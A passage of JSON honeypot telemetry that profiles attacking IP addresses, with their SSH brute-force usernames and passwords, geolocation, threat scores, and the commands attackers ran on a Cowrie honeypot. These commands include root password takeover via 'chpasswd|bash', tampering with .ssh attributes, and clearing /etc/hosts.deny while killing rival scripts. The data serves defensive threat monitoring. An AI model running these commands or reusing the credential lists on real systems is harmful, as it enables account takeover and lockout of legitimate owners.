        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 212219,
      "as_org": "Hosting Dunyam Bilisim Teknolojileri Ticaret Limited Sirketi",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 368,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:13:43.111000+00:00",
        "last_seen_30d": "2026-03-05T18:42:18.925000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 325,
        "Suricata": 43
      }
    },
    "202.79.29.108": {
      "attack_count": 307,
      "first_seen": "2026-03-05T19:43:08.090Z",
      "last_seen": "2026-03-23T13:38:49.426Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "felix",
        "gitlabuser",
        "kube",
        "admin",
        "admin1234",
        "ais",
        "cy",
        "go",
        "kibana",
        "leon",
        "lyt",
        "mari",
        "oracle",
        "rms",
        "sandbox",
        "sandro",
        "service",
        "smb",
        "toni"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "12345678",
        "Gitlabuser123",
        "Leon123!",
        "adm1n",
        "admin1234123!",
        "ais123",
        "kibana123!",
        "lyt1234",
        "maripass",
        "oracle",
        "password",
        "rms1234",
        "sandro123",
        "smb123!",
        "toni1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nfmWFDyPCE1BT\\nfmWFDyPCE1BT\\n\"|passwd",
        "echo \"Gitlabuser123\\nT9MGtLMWOIVT\\nT9MGtLMWOIVT\\n\"|passwd",
        "echo \"password\\nqUt7hkGatRxU\\nqUt7hkGatRxU\\n\"|passwd",
        "echo -e \"1234\\nfmWFDyPCE1BT\\nfmWFDyPCE1BT\"|passwd|bash",
        "echo -e \"Gitlabuser123\\nT9MGtLMWOIVT\\nT9MGtLMWOIVT\"|passwd|bash",
        "echo -e \"password\\nqUt7hkGatRxU\\nqUt7hkGatRxU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": "Phnom Penh",
      "asn": 24492,
      "as_org": "WiCAM Corporation Ltd.",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:43:08.090000+00:00",
        "last_seen_30d": "2026-03-23T13:39:56.615000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 60
      }
    },
    "116.110.3.196": {
      "attack_count": 305,
      "first_seen": "2026-03-30T13:04:44.058Z",
      "last_seen": "2026-03-30T13:31:33.716Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "developer",
        "kelly",
        "support",
        "1234",
        "123456",
        "ace",
        "admian",
        "belkinstyle",
        "bin",
        "cf1c22",
        "cisco",
        "ftp",
        "george",
        "install",
        "joggler",
        "kim",
        "library"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "123456",
        "kelly",
        "password",
        "0987654321",
        "1",
        "12345678",
        "123456789",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "ace",
        "administrator",
        "bin",
        "cf1c22",
        "cisco"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:04:44.058000+00:00",
        "last_seen_30d": "2026-03-30T13:32:35.894000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 305,
        "Suricata": 135
      }
    },
    "210.79.190.22": {
      "attack_count": 299,
      "first_seen": "2026-03-19T07:39:28.697Z",
      "last_seen": "2026-03-26T07:22:43.960Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "Test",
        "posiflex",
        "shawn",
        "amine",
        "cb",
        "developer",
        "live",
        "mahdi",
        "pyramid",
        "ravi",
        "vip1",
        "zhenshan",
        "zy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "123QWEqwe",
        "Amine123",
        "Live123!",
        "Root2024",
        "Test123",
        "developer123",
        "mahdi2025",
        "pyramid123!",
        "ravipass",
        "zhenshan123!",
        "zy1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nD6IcJRZCTWzR\\nD6IcJRZCTWzR\\n\"|passwd",
        "echo \"password\\ngfKzXJjsUAGD\\ngfKzXJjsUAGD\\n\"|passwd",
        "echo \"root:WLO9GYeYIN9I\"|chpasswd|bash",
        "echo -e \"123\\nD6IcJRZCTWzR\\nD6IcJRZCTWzR\"|passwd|bash",
        "echo -e \"password\\ngfKzXJjsUAGD\\ngfKzXJjsUAGD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 353,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T07:39:28.697000+00:00",
        "last_seen_30d": "2026-03-26T07:23:52.249000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 299,
        "Suricata": 54
      }
    },
    "27.254.142.141": {
      "attack_count": 262,
      "first_seen": "2026-03-11T05:28:41.606Z",
      "last_seen": "2026-03-11T05:50:40.467Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ftpuser1",
        "netflow",
        "sinusbot",
        "clawd",
        "deploy",
        "ghostadmin",
        "kirill",
        "matin",
        "max",
        "odoo",
        "t128"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "20252025",
        "Matin123",
        "clawd@123",
        "ftpuser1123",
        "kirill1234",
        "netflow2025",
        "t128"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nLWIPS1T2SGz0\\nLWIPS1T2SGz0\\n\"|passwd",
        "echo \"ftpuser1123\\nbd378Np1u1wi\\nbd378Np1u1wi\\n\"|passwd",
        "echo \"netflow2025\\n8sCPZKigkVMf\\n8sCPZKigkVMf\\n\"|passwd",
        "echo -e \"12345678\\nLWIPS1T2SGz0\\nLWIPS1T2SGz0\"|passwd|bash",
        "echo -e \"ftpuser1123\\nbd378Np1u1wi\\nbd378Np1u1wi\"|passwd|bash",
        "echo -e \"netflow2025\\n8sCPZKigkVMf\\n8sCPZKigkVMf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 63989,
      "as_org": "DE-CORP",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T05:28:41.606000+00:00",
        "last_seen_30d": "2026-03-11T05:51:41.375000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "144.31.186.117": {
      "attack_count": 261,
      "first_seen": "2026-03-26T14:55:06.549Z",
      "last_seen": "2026-03-30T14:30:53.834Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "element",
        "security"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234511",
        "123qweqweQWE",
        "13102025",
        "1a2b3c4d",
        "1qaz2wsx",
        "Aa112211..",
        "Admin789",
        "Admin@9000",
        "Asdfg",
        "Cq123456!",
        "Lm123456",
        "P@ssw0rd2024",
        "a+123456",
        "adrien",
        "carmen",
        "eight8",
        "harald123",
        "p@ss!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FsaPHKe1ncFH\"|chpasswd|bash",
        "echo \"root:OVSiG2DoFhnC\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T14:55:06.549000+00:00",
        "last_seen_30d": "2026-03-30T14:32:02.763000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 73
      }
    },
    "103.143.238.100": {
      "attack_count": 236,
      "first_seen": "2026-03-27T21:20:16.221Z",
      "last_seen": "2026-03-27T23:05:23.477Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0220",
        "123456.qwerty",
        "123456Qwerty@",
        "123qweasdQWE",
        "123qwerts",
        "1qaz@WSX3",
        "742026",
        "9182736455",
        "Manager123",
        "P@$$w0rd2025",
        "Qq1234567",
        "asd123..",
        "capture",
        "carolina",
        "needidc210@163.com",
        "oo00oo00",
        "p@sswd1234",
        "princess"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:pEG0tLxwClNL\"|chpasswd|bash",
        "echo \"root:y5VeSDRcNG8c\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T21:20:16.221000+00:00",
        "last_seen_30d": "2026-03-27T23:06:30.657000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 67
      }
    },
    "72.167.227.34": {
      "attack_count": 232,
      "first_seen": "2026-03-26T07:56:20.351Z",
      "last_seen": "2026-03-26T08:06:57.183Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ROOTUSER",
        "christine",
        "ovirt",
        "orchestrator",
        "questdb"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "CHANGEME123",
        "admin",
        "christine",
        "ovirt",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"CHANGEME123\\nGmKvDf7XPvZN\\nGmKvDf7XPvZN\\n\"|passwd",
        "echo \"christine\\nc0SHE4VyhxY6\\nc0SHE4VyhxY6\\n\"|passwd",
        "echo \"ovirt\\nsU3m8nddv3fx\\nsU3m8nddv3fx\\n\"|passwd",
        "echo -e \"CHANGEME123\\nGmKvDf7XPvZN\\nGmKvDf7XPvZN\"|passwd|bash",
        "echo -e \"christine\\nc0SHE4VyhxY6\\nc0SHE4VyhxY6\"|passwd|bash",
        "echo -e \"ovirt\\nsU3m8nddv3fx\\nsU3m8nddv3fx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:56:20.351000+00:00",
        "last_seen_30d": "2026-03-26T08:07:58.977000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 26
      }
    },
    "103.59.95.58": {
      "attack_count": 188,
      "first_seen": "2026-03-12T00:50:12.515Z",
      "last_seen": "2026-03-12T01:10:50.657Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kraft",
        "nginx",
        "1p",
        "hadoop1",
        "irc",
        "jun",
        "mysql",
        "telecom",
        "upload1",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "123123",
        "abc123",
        "admin",
        "google",
        "hadoop1",
        "jun",
        "kraft",
        "telecom",
        "upload1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"!QAZ2wsx\\nyhYdjxvXtto6\\nyhYdjxvXtto6\\n\"|passwd",
        "echo \"kraft\\nGZ6Pp3pKPEuM\\nGZ6Pp3pKPEuM\\n\"|passwd",
        "echo -e \"!QAZ2wsx\\nyhYdjxvXtto6\\nyhYdjxvXtto6\"|passwd|bash",
        "echo -e \"kraft\\nGZ6Pp3pKPEuM\\nGZ6Pp3pKPEuM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:50:12.515000+00:00",
        "last_seen_30d": "2026-03-12T01:11:57.373000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "45.14.194.252": {
      "attack_count": 188,
      "first_seen": "2026-03-09T11:57:24.784Z",
      "last_seen": "2026-03-09T12:20:48.292Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "elearn",
        "paid",
        "anders",
        "builder",
        "claude",
        "leon",
        "mama",
        "newusername",
        "root",
        "site2030"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "elearn123!",
        "mama123!",
        "password",
        "site2030",
        "test123456!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nVbSQlYU1niVX\\nVbSQlYU1niVX\\n\"|passwd",
        "echo \"elearn123!\\noRYwdQeAiBx6\\noRYwdQeAiBx6\\n\"|passwd",
        "echo -e \"123456\\nVbSQlYU1niVX\\nVbSQlYU1niVX\"|passwd|bash",
        "echo -e \"elearn123!\\noRYwdQeAiBx6\\noRYwdQeAiBx6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T11:57:24.784000+00:00",
        "last_seen_30d": "2026-03-09T12:21:57.372000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "66.154.125.60": {
      "attack_count": 186,
      "first_seen": "2026-03-02T06:25:22.273Z",
      "last_seen": "2026-03-02T06:45:59.283Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3e!@#",
        "1qaz@wsx3edc",
        "232323",
        "Jh123456@",
        "MSN55msn!!",
        "Qwe!@#456",
        "Qweasdzxc123",
        "openvpn",
        "p@ssw0rd#2023",
        "public"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:E1tksvVzMbn7\"|chpasswd|bash",
        "echo \"root:gchTXBC6jqkO\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:25:22.273000+00:00",
        "last_seen_30d": "2026-03-02T06:47:08.484000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 33
      }
    },
    "172.191.94.172": {
      "attack_count": 181,
      "first_seen": "2026-03-24T21:24:53.687Z",
      "last_seen": "2026-03-24T22:18:22.295Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "hamza",
        "datacenter",
        "king",
        "master",
        "root",
        "simon",
        "spawner",
        "student2",
        "user1"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "password",
        "12345",
        "12345678",
        "3245gs5662d34",
        "anon",
        "master",
        "simon123",
        "student21234",
        "user"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nn5GyCLv3ZtzZ\\nn5GyCLv3ZtzZ\\n\"|passwd",
        "echo \"simon123\\nY7bo8d8t4rCm\\nY7bo8d8t4rCm\\n\"|passwd",
        "echo -e \"12345678\\nn5GyCLv3ZtzZ\\nn5GyCLv3ZtzZ\"|passwd|bash",
        "echo -e \"simon123\\nY7bo8d8t4rCm\\nY7bo8d8t4rCm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T21:24:53.687000+00:00",
        "last_seen_30d": "2026-03-24T22:19:29.917000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 181,
